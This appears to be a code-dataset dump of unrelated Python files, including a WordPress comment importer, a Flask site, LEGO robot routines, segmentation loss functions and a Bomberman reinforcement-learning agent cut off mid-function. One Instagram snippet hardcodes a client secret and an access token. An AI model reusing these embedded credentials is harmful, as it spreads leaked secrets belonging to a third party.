post_count = 0\n importfile = Path(\"d:\\\\temp\\\\roytang.WordPress.2020-05-05.xml\")\n urlmap = loadurlmap()\n\n with importfile.open(encoding=\"UTF-8\") as fd:\n doc = xmltodict.parse(fd.read())\n for item in doc[\"rss\"][\"channel\"][\"item\"]:\n post_type = item[\"wp:post_type\"]\n if post_type == \"attachment\":\n # parent = item[\"wp:post_parent\"]\n # add_to_listmap(attachments_map, parent, item)\n pass\n elif post_type == \"post\" and item[\"wp:status\"] == \"publish\":\n # print(item[\"title\"])\n found_comments = []\n if \"wp:comment\" in item:\n all_comment_xml = item[\"wp:comment\"]\n if not hasattr(all_comment_xml, \"append\"): # if not a list, make a list\n all_comment_xml = [all_comment_xml]\n for comment_xml in all_comment_xml:\n post_count = post_count + 1\n date = comment_xml['wp:comment_date']\n if not comment_xml['wp:comment_type'] is None:\n # print(date)\n # print(comment_xml['wp:comment_author'])\n # print(comment_xml['wp:comment_type'])\n # print(comment_xml['wp:comment_content'])\n found_comments.append(comment_xml)\n if len(found_comments) > 0:\n link = item[\"link\"]\n rel_path = link.replace(\"http://wordpress.roytang.net\", \"\")\n if rel_path not in urlmap:\n print(\"MISSING\")\n print(rel_path)\n else:\n um = urlmap[rel_path]\n mdfile = urlmap_to_mdfile(um)\n print(mdfile)\n if mdfile.stem != \"index\":\n newdir = mdfile.parent / mdfile.stem\n if not newdir.exists():\n newdir.mkdir()\n newfile = newdir / \"index.md\"\n shutil.move(mdfile, newfile)\n mdfile = newfile\n\n newdir = mdfile.parent\n for comment in found_comments:\n id = \"wp-%s\" % (comment[\"wp:comment_id\"])\n date = datetime.strptime(comment['wp:comment_date'], \"%Y-%m-%d %H:%M:%S\")\n datestr = date.strftime('%Y%m%dT%H%M%S')\n comment_type = comment[\"wp:comment_type\"]\n # print(comment_type)\n if comment_type == \"social-facebook-like\":\n wtype = \"like-of\"\n newfile = newdir / ( \"like-%s-%s.json\" % (datestr, id) )\n elif comment_type == \"social-twitter-rt\":\n wtype = \"repost-of\"\n newfile = newdir / ( \"repost-%s-%s.json\" % (datestr, id) )\n else:\n wtype = \"in-reply-to\"\n newfile = newdir / ( \"comment-%s-%s.json\" % (datestr, id) )\n\n photo_url = \"\"\n social_id = \"\"\n social_url = \"\"\n for cm in comment[\"wp:commentmeta\"]:\n if cm['wp:meta_key'] == 'social_profile_image_url':\n photo_url = cm['wp:meta_value']\n if cm['wp:meta_key'] == 'social_status_id':\n social_id = cm['wp:meta_value']\n if comment_type.find(\"facebook\") >= 0:\n post_id = social_id.split(\"_\")[1]\n social_url = \"https://www.facebook.com/stephen.roy.tang/posts/%s\" % (post_id)\n photo_url = \"/img/icons/facebook.png\"\n if comment_type.find(\"twitter\") >= 0:\n photo_url = \"/img/icons/twitter.png\"\n\n comment = {\n \"id\": id,\n \"name\": comment[\"wp:comment_author\"],\n \"url\": comment[\"wp:comment_author_url\"],\n \"text\": comment[\"wp:comment_content\"], \n \"date\": date.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"photo\": photo_url,\n \"source_url\": social_url,\n \"mention_url\": social_url,\n \"source\": \"wordpress-social\",\n \"type\": wtype,\n \"raw_source\": comment\n }\n\n # save the comment into newdir\n if not newfile.exists():\n with Path(newfile).open(\"w\", encoding=\"UTF-8\") as f:\n f.write(json.dumps(comment, indent=2))\n\n print(post_count)\n\nimport_wp_social()\n\n\n","sub_path":"utils/clean_wp_cmts.py","file_name":"clean_wp_cmts.py","file_ext":"py","file_size_in_byte":8443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"145676017","text":"from instagram.client import InstagramAPI\n\n\ndef get_pic(tag_name):\n api = InstagramAPI(client_secret='30a59cc22c4d44edb3bf14bea05825c8',\n access_token='d082281eceb24ccb997233ceeab503f9')\n\n result = api.tag_recent_media(tag_name=tag_name)\n media = result[0]\n\n for m in media:\n print (m.images)\n print (m.user)\n print (m.tags)","sub_path":"test/insta.py","file_name":"insta.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"553018742","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nfrom setuptools import setup, find_packages\n\nVERSION = '0.1.0'\n\nsetup(\n name='syncitems',\n version=VERSION,\n license='GPL-3.0',\n description='Sync item between clients with server',\n url='https://github.com/ipconfiger/syncitems',\n author='Alexander.Li',\n author_email='superpowerlee@gmail.com',\n platforms='any',\n install_requires=[\n 'SQLAlchemy>=1.1.4',\n 'redis>=2.10.5',\n ],\n packages=find_packages()\n)\n","sub_path":"pypi_install_script/syncitems-0.1.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"154539118","text":"from flask import Flask, session, render_template, request_started\nfrom werkzeug import SharedDataMiddleware\nimport os\n\nfrom .flask_contact.contact import contact_page\n\n# create our application\napp = Flask(__name__)\n\n# Register flask_contact Blueprint\napp.register_blueprint(contact_page, url_prefix='/contact')\n\n# Config\nif app.config['DEBUG']:\n app.config.from_object('flask_application.config.DevelopmentConfig')\n app.logger.info(\"Config: Development\")\nelse:\n app.config.from_object('flask_application.config.ProductionConfig')\n app.logger.info(\"Config: Production\")\n\n\n# Source: http://www.jeffff.com/serving-media-in-the-flask-local-dev-server:w\ndef serve_static(sender):\n if app.config['DEBUG']:\n app.wsgi_app = SharedDataMiddleware(app.wsgi_app,\n {'/': os.path.join(\n os.path.dirname(__file__),\n 'static')})\n\n\n@app.before_request\ndef before_request():\n session[\"debug\"] = app.debug\n\n\n@app.after_request\ndef after_request(response):\n return response\n\n\n@app.context_processor\ndef inject_site_defaults():\n return dict(site_title=app.config['SITE_NAME'])\n\n\n@app.route('/')\ndef page_home():\n session['tab_selected'] = 'home'\n return render_template('page_t_home.html', page_title=\"Home\")\n\n\n@app.route('/meetings')\ndef page_meetings():\n session['tab_selected'] = 'meetings'\n return render_template('page_t_meetings.html', page_title=\"Meetings\")\n\n\n@app.route('/workshops')\ndef page_workshops():\n session['tab_selected'] = 'workshops'\n return render_template('page_t_workshops.html', page_title=\"Workshops\")\n\nrequest_started.connect(serve_static, app)\n","sub_path":"flask_application/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"157938202","text":"def tossattempt():\n count = 0\n headscount = 0\n tailscount = 0\n while count < 5001:\n from random import randint\n x = randint(0, 1)\n if x == 1:\n toss = \"It's heads\"\n headscount += 1;\n elif x == 0:\n toss = \"It's tails\"\n tailscount += 1;\n\n count += 1\n print(\"Attempt: #\"+str(count)+\"- Throwing coin... \"+str(toss)+\"!! You have gotten \"+str(headscount)+\" heads and \"+str(tailscount))+\" tail(s) so far \"\ntossattempt()\n\n#Attempt #4: Throwing a coin... It's a head! ... Got 3 head(s) so far and 1 tail(s) so far","sub_path":"part1/week1/cointosses.py","file_name":"cointosses.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"179775737","text":"from spike import PrimeHub, LightMatrix, Button, StatusLight, ForceSensor, MotionSensor, Speaker, ColorSensor, App, DistanceSensor, Motor, MotorPair\r\nfrom spike.control import wait_for_seconds, wait_until, Timer\r\nimport json\r\n\r\nhub = PrimeHub()\r\n\r\n# Define as portas dos motores e variaveis globais\r\n# Motores Grandes\r\nmotor_esquerdo = Motor(\"F\")\r\nmotor_direito = Motor(\"B\")\r\nmotores = MotorPair(\"B\", \"F\")\r\n\r\n# Motores médios\r\nmotor_garra_esquerdo = Motor(\"A\")\r\nmotor_garra_direito = Motor(\"D\")\r\n\r\n# Sensores\r\nsensor_cor_esquerdo = ColorSensor(\"E\")\r\nsensor_cor_direito = ColorSensor(\"C\")\r\n\r\n# Reseta a leitura dos motores e sensores\r\nmotor_esquerdo.set_degrees_counted(0)\r\nmotor_direito.set_degrees_counted(0)\r\nhub.motion_sensor.reset_yaw_angle()\r\n\r\n# Desliga os sensores que não estão sendo utilizados\r\nsensor_cor_esquerdo.light_up_all(0)\r\nsensor_cor_direito.light_up_all(0)\r\n\r\n# Funções para movimentação do robô\r\ndef curva(angulo, velocidade):\r\n ''' Este bloco esta destinado a realizar curvas com o sensor girosópio ecom desaceleração no final da curva melhorar a \r\n precisão\r\n '''\r\n\r\n # Reseta o sensor de rotação dos motores e sensores\r\n motor_esquerdo.set_degrees_counted(0)\r\n motor_direito.set_degrees_counted(0)\r\n hub.motion_sensor.reset_yaw_angle()\r\n\r\n angle = (angulo / 4) * 3 # Define a curva primaria\r\n\r\n # Fator de coreção do robô\r\n if angulo >= 0:\r\n angulo = angulo - 2.45\r\n\r\n else:\r\n angulo = angulo + 2.45\r\n\r\n# Inicia o loop e encerra quando a varriavel loop for False\r\n\r\n loop = True\r\n while loop:\r\n # Realiza a curva para a direita\r\n if angulo >= 0:\r\n if hub.motion_sensor.get_yaw_angle() <= angle:\r\n motor_esquerdo.start(velocidade * -1)\r\n\r\n else:\r\n if hub.motion_sensor.get_yaw_angle() <= angulo:\r\n motor_esquerdo.start(-10)\r\n\r\n else:\r\n motores.stop()\r\n loop = False\r\n\r\n # Realiza a curva para esquerda\r\n else:\r\n if hub.motion_sensor.get_yaw_angle() >= angle:\r\n motor_direito.start(velocidade)\r\n\r\n else:\r\n if hub.motion_sensor.get_yaw_angle() >= angulo:\r\n motor_direito.start(10)\r\n\r\n else:\r\n motores.stop()\r\n loop = False\r\n\r\ndef mover(distancia, velocidade):\r\n ''' Este bloco esta destinado a realizar o movimento do robô com correção do backlash utilizando o sensor de movimento e \r\n se move utilizando a transformação em centimetros\r\n '''\r\n # Reseta a leitura dos motores e sensores\r\n motor_esquerdo.set_degrees_counted(0)\r\n motor_direito.set_degrees_counted(0)\r\n hub.motion_sensor.reset_yaw_angle()\r\n\r\n # Converções necessarias para o bom funcionamento do código\r\n graus = (distancia/(6.1 * 3.14159265) * 360)\r\n velocidade = velocidade * -1\r\n loop = True\r\n\r\n while loop:\r\n if velocidade <= 0:\r\n if motor_direito.get_degrees_counted() <= graus:\r\n # Correção do backlash com o sensor de movimento\r\n backlash = hub.motion_sensor.get_yaw_angle() + 0\r\n\r\n motores.start(backlash, velocidade) # Liga os motores para frente\r\n\r\n else:\r\n '''Para os motores e espera 20 milésimos de segundos com o motor desligado para garantir que o robô esteja\r\n parado ao final do ciclo, e fecha o loop\r\n '''\r\n motores.stop()\r\n wait_for_seconds(0.2)\r\n loop = False # Variavel responsavel por fechar o loop\r\n\r\n else:\r\n if motor_esquerdo.get_degrees_counted() <= graus:\r\n # Correção do backlash\r\n backlash = 0 - hub.motion_sensor.get_yaw_angle()\r\n\r\n motores.start(backlash, velocidade) # Liga os motores para trás\r\n\r\n else:\r\n '''Para os motores e espera 20 milésimos de segundos com o motor desligado para garantir que o robô esteja\r\n parado ao final do ciclo, e fecha o loop\r\n '''\r\n motores.stop()\r\n wait_for_seconds(0.2)\r\n loop = False # Variavel responsavel por fechar o loop\r\n\r\n# Funções correspondentes a cada saida do robô\r\ndef primeira_saida():\r\n ''' A primeira saida se desloca para a missão do banco em linha reta\r\n e volta a base\r\n '''\r\n # Mover até a missão\r\n mover(37, 40)\r\n mover(7, 10)\r\n\r\n # Volta a area de inspeção\r\n wait_for_seconds(0.25)\r\n mover(37, -100)\r\n\r\ndef segunda_saida():\r\n ''' A segunda saida realiza a missão do escorregador e volta a \r\n area de inspeção\r\n '''\r\n # Mover até a missão\r\n mover(60, 50)\r\n wait_for_seconds(0.2)\r\n\r\n # Volta a area de inspeção\r\n mover(15, -10)\r\n mover(66, -100)\r\n\r\ndef terceira_saida():\r\n ''' Esta saida realiza a missão compartilhada e do basquetebol\r\n e volta a base\r\n '''\r\n # Reseta os motores\r\n motor_garra_esquerdo.set_degrees_counted(0)\r\n motor_garra_direito.set_degrees_counted(0)\r\n\r\n # Mover até a missão do basketeball\r\n curva(20, 20)\r\n mover(75, 50)\r\n curva(-66, 40)\r\n mover(11.3, 20)\r\n wait_for_seconds(0.5)\r\n motor_garra_esquerdo.run_for_degrees(2850, -100)\r\n\r\n # Mover até a missão compartilhada\r\n mover(15, -50)\r\n curva(34, 40)\r\n mover(7, 10)\r\n\r\n # Volta a area de inspeção\r\n mover(30, -50)\r\n curva(30, 40)\r\n mover(105, -100)\r\n\r\ndef quarta_saida():\r\n ''' Esta saida realiza a missão do contador de passos e da\r\n esteira\r\n '''\r\n mover(110.5, 50)\r\n wait_for_seconds(0.2)\r\n\r\n mover(20, -40)\r\n curva(-92.7, 40)\r\n mover(19, -50)\r\n mover(10, -100)\r\n wait_for_seconds(0.5)\r\n\r\n mover(15.35, 40)\r\n curva(-90.4, 20)\r\n mover(97.5, -50)\r\n wait_for_seconds(0.5)\r\n\r\n motor_esquerdo.set_degrees_counted(0)\r\n motor_esquerdo.run_for_degrees(1800)\r\n mover(20, 50)\r\n curva(-6, 30)\r\n mover(170, 100)\r\n\r\ndef quinta_saida():\r\n ''' Realiza a missão da bocha e depois permanece até o final\r\n do round na missão da dança\r\n '''\r\n mover(15, 20)\r\n curva(88.5, 50)\r\n mover(61, 50)\r\n \r\n curva(-90, 50)\r\n mover(50, 50)\r\n curva(-10, 20)\r\n mover(5, 30)\r\n\r\n mover(16, -30)\r\n curva(-30, 30)\r\n mover(25, 50)\r\n\r\n loop = True\r\n while loop:\r\n mover(10, 30)\r\n mover(10, -30)\r\n\r\n# Executa as funções e classes\r\nquarta_saida()","sub_path":"replay - 20-04-21.py","file_name":"replay - 20-04-21.py","file_ext":"py","file_size_in_byte":6544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"201552933","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport copy\nimport numpy as np\n# from .dice_loss_metrics import *\n\n# todo 11月14号\n# todo 准备根据上一个epoch的miou来给定weight\n# 但是需要上一个epoch的miou,所以不好传入,干脆直接返回class dice到train中再计算。\n\n\nclass My_Loss(nn.Module):\n def __init__(self):\n super().__init__()\n\n def forward(self, pred, gt):\n eps = 1e-5\n intersection = (pred * gt).sum()\n unionset = pred.sum() + gt.sum()\n dice = (2 * intersection + eps) / (unionset + eps)\n\n return dice\n\n\n\nclass SegmentationLosses(object):\n def __init__(self, weight=None, size_average=True, batch_average=True, ignore_index=255, cuda=False):\n self.ignore_index = ignore_index\n self.weight = weight\n self.size_average = size_average\n self.batch_average = batch_average\n self.cuda = cuda\n\n def build_loss(self, mode='ce'):\n \"\"\"Choices: ['ce' or 'focal']\"\"\"\n if mode == 'ce':\n return self.CrossEntropyLoss\n elif mode == 'focal':\n return self.FocalLoss\n\n elif mode == 'multi': # 多个loss结合\n multi_loss = self.Multi_loss\n\n return multi_loss\n\n else:\n raise NotImplementedError\n\n def CrossEntropyLoss(self, logit, target):\n n, c, h, w = logit.size()\n criterion = nn.CrossEntropyLoss(weight=self.weight, ignore_index=self.ignore_index,\n size_average=self.size_average)\n if self.cuda:\n criterion = criterion.cuda()\n\n loss = criterion(logit, target.long())\n\n if self.batch_average:\n loss /= n\n\n return loss\n\n\n def FocalLoss(self, logit, target, gamma=2, alpha=0.5):\n n, c, h, w = logit.size()\n criterion = nn.CrossEntropyLoss(weight=self.weight, ignore_index=self.ignore_index,\n size_average=self.size_average)\n if self.cuda:\n criterion = criterion.cuda()\n\n logpt = -criterion(logit, target.long())\n pt = torch.exp(logpt)\n if alpha is not None:\n logpt *= alpha\n loss = -((1 - pt) ** gamma) * logpt\n\n if self.batch_average:\n loss /= n\n\n return loss\n\n\n def Multi_loss(self,logit, target):\n n, c, h, w = logit.size()\n # print('ce loss weight',self.weight) #ce loss weight tensor([ 1.4607, 20.7817, 40.7756, 44.3521, 50.2720])\n\n criterion = nn.CrossEntropyLoss(weight=self.weight, ignore_index=self.ignore_index,\n size_average=self.size_average)\n if self.cuda:\n criterion = criterion.cuda()\n\n loss_ce = criterion(logit, target.long())\n\n if self.batch_average:\n loss_ce /= n\n\n # 以上得到了wce loss,以下计算dice loss,然后结合,可以改比例,但是目前是一比一\n\n pred = torch.argmax(logit,dim= 1) # 对应预测的类别\n # print('check 1:',torch.max(logit),torch.min(logit))\n log_predict = F.softmax(logit,dim=1) # sogtmax 0-1\n # print('cccccc:',log_predict.size())\n # print('check 2:', torch.max(log_predict), torch.min(log_predict))\n pred_p = torch.max(log_predict ,dim = 1)[0] # 每一个pixel的最大概率对应的概率,跟上面对应的类别对应\n # print(\"yuayudyafa:\",torch.max(pred_p),torch.min(pred_p))\n self.num_class = 5\n # 多个类别分别计算dice\n class_dice = []\n\n criterion2 = My_Loss()\n if self.cuda:\n criterion2 = criterion2.cuda()\n\n # rate = []\n\n # todo 第一种方案:按照ce loss的weight,计算那个weight到0-1之间\n dice_weight = self.weight[1:]\n # print('check dice weight', dice_weight)\n # balance_weight = dice_weight / dice_weight.sum()\n # print('softmax dice weight', balance_weight)\n\n # todo 第二种方案是根据每个batch里面各个class的数量做balanced,还没做\n\n for i in range(1, self.num_class): # 第1个类别到第5个类别,就是1,2,3,4桐花树,无瓣海桑,茳芏,秋茄\n temp_target = torch.zeros(target.size())\n temp_target[target == i] = 1\n # rate.append(temp_target.sum())\n temp_pred = torch.zeros(target.size()).cuda()\n temp_pred[pred == i] = 1 # 选到对应的类别,造一个one\n\n temp_pred *= pred_p #该pixel预测类别对应的概率\n\n class_dice.append(criterion2(temp_pred.cuda(), temp_target.cuda()))\n\n # print('rate:',rate,'\\n')\n # print('\\n====================')\n # avg_class_dice = [class_dice[i] * 0.25 for i in range(len(balance_weight))]\n # print('class dice:',avg_class_dice,'\\n')\n # print('sum class dice:',sum(avg_class_dice),'\\n')\n ###mean_dice = sum(class_dice) / len(class_dice) # 4个类别的dice求平均 ###三个#的是以前的dice loss\n\n # rate = [r/sum(rate) for r in rate]\n # print('precent:',rate,'\\n')\n ####balance_class_dice = [class_dice[i] * balance_weight[i].item() for i in range(len(balance_weight))]\n\n # print('balance dice',balance_class_dice,'\\n')\n # print('sum balance dice:', sum(balance_class_dice),'\\n')\n # print('============================')\n ####balanced_dice = sum(balance_class_dice)\n\n ####loss_balanced_dice = (1 - balanced_dice)/n # 对整个batch求平均\n # print('balance dice loss:',loss_balanced_dice)\n ###loss_dice = 1 - mean_dice # 注意是1减去整个batch的mean_dice之后再求batch的平均\n ###loss_dice /= n # 除以batch size大小,求平均每张图的dice loss,前面的wce loss也是求平均每张图的wce loss\n # print('avg dice loss:',loss_dice)\n # print('wce loss:',loss_ce,'\\n')\n # print('return loss:',loss_ce,'\\n',loss_dice,'\\n') #还是想打印一下loss\n # loss= loss_ce + loss_dice\n # return loss_ce,loss_dice # 分别返回loss,可以画tensorboard\n ####return loss_ce,loss_balanced_dice # 分别返回loss,可以画tensorboard\n # return loss_dice # 检查只有一个dice loss有没有梯度,能不能反向传播,能!!!\n # print('return loss:',loss_ce,'\\n',loss_dice)\n # return loss\n return loss_ce,class_dice\n\n\n\nif __name__ == \"__main__\":\n loss = SegmentationLosses(cuda=True)\n a = torch.rand(1, 3, 7, 7).cuda()\n b = torch.rand(1, 7, 7).cuda()\n print(loss.CrossEntropyLoss(a, b).item())\n print(loss.FocalLoss(a, b, gamma=0, alpha=None).item())\n print(loss.FocalLoss(a, b, gamma=2, alpha=0.5).item())\n\n\n\n\n","sub_path":"deeplab+kset+wce+dice+up2+senet/utils/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":6785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"270085334","text":"from collections.abc import Mapping\nfrom typing import Optional\n\nimport attr\nfrom fontTools.misc.transform import Identity, Transform\n\nfrom .misc import _convert_transform\n\n\n@attr.s(slots=True)\nclass Image(Mapping):\n fileName = attr.ib(default=None, type=Optional[str])\n transformation = attr.ib(\n default=Identity, converter=_convert_transform, type=Transform\n )\n color = attr.ib(default=None, type=Optional[str])\n\n def clear(self):\n self.fileName = None\n self.transformation = Identity\n self.color = None\n\n def __bool__(self):\n # Glyph.image evaluates to False if no fileName is set\n return self.fileName is not None\n\n _transformation_keys_ = (\n \"xScale\",\n \"xyScale\",\n \"yxScale\",\n \"yScale\",\n \"xOffset\",\n \"yOffset\",\n )\n _valid_keys_ = (\"fileName\",) + _transformation_keys_ + (\"color\",)\n\n # implementation of collections.abc.Mapping abstract methods.\n # the fontTools.ufoLib.validators.imageValidator requires that image is a\n # subclass of Mapping...\n\n def __getitem__(self, key):\n try:\n i = self._transformation_keys_.index(key)\n except ValueError:\n try:\n return getattr(self, key)\n except AttributeError:\n raise KeyError(key)\n else:\n return self.transformation[i]\n\n def __len__(self):\n return len(self._valid_keys_)\n\n def __iter__(self):\n return iter(self._valid_keys_)\n","sub_path":"src/ufoLib2/objects/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"114633741","text":"import numpy as np\nfrom settings import e\nimport pickle\nfrom os.path import isdir, isfile\nfrom os import makedirs\nfrom collections import namedtuple, defaultdict\nimport datetime\n\nfixed_actions = {'RIGHT': 0, 'LEFT': 1,\n 'UP': 2, 'DOWN': 3, 'BOMB': 4, 'WAIT': 5}\ndirections = {'RIGHT': 0, 'RIGHTDOWN': 1, 'DOWN': 2, 'LEFTDOWN': 3, 'LEFT': 4, 'LEFTUP': 5, 'UP': 6, 'RIGHTUP': 7, 'ONTOP': 8, 'NONE': -1}\nnum_actions = len(fixed_actions)\n\n# IDEA: outsource rewards config to json for easier testing\nfixed_rewards = {\n e.MOVED_LEFT: -1,\n e.MOVED_RIGHT: -1,\n e.MOVED_UP: -1,\n e.MOVED_DOWN: -1,\n e.WAITED: -1,\n e.INTERRUPTED: -10,\n e.INVALID_ACTION: -20,\n e.BOMB_DROPPED: -1,\n e.BOMB_EXPLODED: -1,\n e.CRATE_DESTROYED: 1,\n e.COIN_FOUND: 4,\n e.COIN_COLLECTED: 100,\n e.KILLED_SELF: -1000,\n e.GOT_KILLED: -500,\n e.SURVIVED_ROUND: 10\n}\n\n\ndef setup(self):\n \"\"\"Called once before a set of games to initialize data structures etc.\n The 'self' object passed to this method will be the same in all other\n callback methods. You can assign new properties (like bomb_history below)\n here or later on and they will be persistent even across multiple games.\n You can also use the self.logger object at any time to write to the log\n file for debugging (see https://docs.python.org/3.7/library/logging.html).\n \"\"\"\n # self.logger.info('running setup')\n np.random.seed()\n self.Q = defaultdict(lambda: np.random.rand(num_actions)*10)\n self.policy = None\n self.next_action = 'BOMB' # default for debugging -> fast end if bugs\n self.next_action_storage = 'BOMB' # needed for sarsa, as env sets WAIT as default after reward_update\n self.current_state = None\n # Load Q matrix\n self.filepath = './Q_matrix.npz'\n if isfile(self.filepath):\n self.Q = defaultdict(lambda: np.random.rand(num_actions)*10, dict(\n np.load(self.filepath)['q'].tolist()))\n \n # setup for history & other train stuff\n self.sarsa = True\n # hyperparameter\n self.alpha = 0.1\n self.gamma = 0.7 # future reward is 50% as important as current\n self.epsilon = 0.7 \n self.epsilon_decay = 0.1\n self.epsilon_min = 0.3\n self.non_greedy_first_steps = 10\n \n # history\n self.rewards = [] # list of all received rewards\n self.actions = [] # list of all chosen actions\n self.states = [] # list of all occured states \n self.updates = [] # list of calculated update steps\n \n self.collected_coins = 0 # how many coins collected\n self.survived_steps = 0 # how many steps survived\n self.has_survived = True # if it has survived\n self.suicidal = False # if it has killed itself\n self.outlived_opponents = 0 # how many opponents outlived\n\n self.trainpath = './traindata/'\n if not isdir(self.trainpath):\n makedirs(self.trainpath)\n\n # self.logger.info(self)\n\n\n# returns all possible actions for a given state\ndef get_possible_actions(self):\n actions = np.array([])\n x, y, _, b, _ = self.game_state['self']\n a = self.game_state['arena']\n e = self.game_state['explosions']\n\n # a[x][y] = 9 # for debugging\n \n # draw explosions on arena -> don't walk into explosions\n e[e != 0] = 2\n a = a + e\n\n # draw bombs on arena -> you are not allowed to walk into bombs\n _, _, a = get_direction(self.game_state['bombs'], a, 5, x, y)\n\n # self.logger.info('{} {} : {}'.format(x,y, actions))\n # self.logger.info(a)\n\n if a[x+1][y] == 0:\n actions = np.append(actions, 'RIGHT')\n if a[x-1][y] == 0:\n actions = np.append(actions, 'LEFT')\n if a[x][y-1] == 0:\n actions = np.append(actions, 'UP')\n if a[x][y+1] == 0:\n actions = np.append(actions, 'DOWN')\n if b and self.next_action != 'BOMB': # zweiter Teil wahrscheinlich nicht nötig\n if len(actions) > 0: # only allow bomb when we can move\n actions = np.append(actions, 'BOMB')\n if a[x][y] == 0:\n actions = np.append(actions, 'WAIT')\n \n # self.logger.info('Allowed Actions are: {}'.format(actions))\n if not len(actions):\n self.logger.warning('No allowed Action at {} {}!\\n {}'.format(x,y,a))\n # if no actions is possible 'wait' for your probable inevitable death (triggers invalid action but throws no error) e.g., beeing blocked on a bomb\n actions = np.append(actions, 'WAIT')\n\n return actions\n\n\ndef act(self):\n \"\"\"Called each game step to determine the agent's next action.\n You can find out about the state of the game environment via self.game_state,\n which is a dictionary. Consult 'get_state_for_agent' in environment.py to see\n what it contains.\n Set the action you wish to perform by assigning the relevant string to\n self.next_action. You can assign to this variable multiple times during\n your computations. If this method takes longer than the time limit specified\n in settings.py, execution is interrupted by the game and the current value\n of self.next_action will be used. The default value is 'WAIT'.\n \"\"\"\n if self.sarsa & self.game_state['train']:\n # in train mode we determine next step during reward_update (as needed for calculation)\n # special case: first step, as step -> reward -> step -> ...\n if self.game_state['step'] < 2:\n allowed_actions = get_possible_actions(self)\n self.current_state = simplify_state(self)\n self.policy = epsilon_greedy_probs(self,\n self.Q[self.current_state][[fixed_actions[k] for k in allowed_actions]])\n self.next_action = np.random.choice(allowed_actions, p=self.policy)\n else:\n self.next_action = self.next_action_storage\n\n else:\n allowed_actions = get_possible_actions(self)\n # self.logger.info('Pick action via Q table')\n self.current_state = simplify_state(self)\n self.policy = epsilon_greedy_probs(self,\n self.Q[self.current_state][[fixed_actions[k] for k in allowed_actions]])\n # self.logger.info(self.policy)\n self.next_action = np.random.choice(allowed_actions, p=self.policy)\n\n\ndef reward_update(self, EoL=False):\n \"\"\"Called once per step to allow intermediate rewards based on game events.\n When this method is called, self.events will contain a list of all game\n events relevant to your agent that occurred during the previous step. Consult\n settings.py to see what events are tracked. You can hand out rewards to your\n agent based on these events and your knowledge of the (new) game state. In\n contrast to act, this method has no time limit.\n \"\"\"\n if 6 in self.events:\n self.logger.warn('Invalid Action!')\n if 5 in self.events:\n self.logger.warn('Takes too long')\n self.rewards.append(sum(fixed_rewards[e] for e in self.events))\n self.actions.append(self.next_action)\n self.states.append(self.current_state)\n\n if e.GOT_KILLED in self.events:\n self.has_survived = False\n if e.KILLED_SELF in self.events:\n self.suicidal = True\n else:\n self.survived_steps += 1\n for ev in self.events:\n if (ev == e.OPPONENT_ELIMINATED or ev == e.KILLED_OPPONENT):\n self.outlived_opponents += 1\n \n if e.COIN_COLLECTED in self.events:\n self.collected_coins += 1\n \n if not EoL:\n if self.sarsa:\n sarsa(self)\n else:\n qlearning(self)\n\n\ndef sarsa(self):\n action = fixed_actions[self.next_action]\n state = self.current_state\n\n allowed_actions = get_possible_actions(self)\n self.current_state = simplify_state(self) \n self.policy = epsilon_greedy_probs(self, self.Q[self.current_state][[fixed_actions[k] for k in allowed_actions]])\n self.next_action_storage = np.random.choice(allowed_actions, p=self.policy)\n next_action = fixed_actions[self.next_action_storage]\n\n q_update = sarsa_update_Q(self.Q[state][action], self.Q[self.current_state][next_action], self.rewards[-1], self.alpha, self.gamma)\n self.updates.append(q_update)\n self.Q[state][action] = q_update\n\n\ndef sarsa_update_Q(Qsa, next_Qsa, reward, alpha, gamma):\n return Qsa + (alpha * (reward + (gamma * next_Qsa) - Qsa))\n\n\ndef qlearning(self):\n action = fixed_actions[self.next_action]\n state = self.current_state\n next_state = simplify_state(self)\n\n q_update = qlearning_update_Q(self.Q[state][action], np.max(\n self.Q[next_state]), self.rewards[-1], self.alpha, self.gamma)\n\n self.updates.append(q_update)\n self.Q[state][action] = q_update\n\n\n\ndef end_of_episode(self):\n \"\"\"Called at the end of each game to hand out final rewards and do training.\n This is similar to reward_update, except it is only called at the end of a\n game. self.events will contain all events that occured during your agent's\n final step. You should place your actual learning code in this method.\n \"\"\"\n reward_update(self, True)\n self.logger.info(\n \"Saving Q-Matrix to \\'{}\\' and history data to \\'{}\\'.\".format(self.filepath, self.trainpath))\n np.savez(self.filepath, q=dict(self.Q))\n \n time = datetime.datetime.now()\n np.savez(self.trainpath +str(time).replace(':', ''),\n reward=self.rewards, actions=self.actions, states=self.states,\n updates=self.updates, \n time=time,\n total_steps = self.game_state['step'],\n has_survived = self.has_survived,\n suicidal = self.suicidal,\n outlived_opponents = self.outlived_opponents,\n collected_coins = self.collected_coins,\n survived_steps = self.survived_steps,\n alpha = self.alpha,\n gamma = self.gamma,\n epsilon = self.epsilon,\n epsilon_decay = self.epsilon_decay\n )\n \n # reset for possible next episode\n self.rewards, self.actions, self.states, self.updates = [], [], [], []\n self.has_survived, self.suicidal = True, False\n self.collected_coins, self.outlived_opponents, self.survived_steps = 0, 0, 0\n \n\ndef qlearning_update_Q(Qsa, best_Qsa, reward, alpha, gamma):\n \"\"\" updates the action-value function estimate using the most recent time step \"\"\"\n return Qsa + (alpha * (reward + (gamma * best_Qsa) - Qsa))\n\n\n# chooses between exploitation and exploration due to epsilon and enforces decay\ndef epsilon_greedy_probs(self, 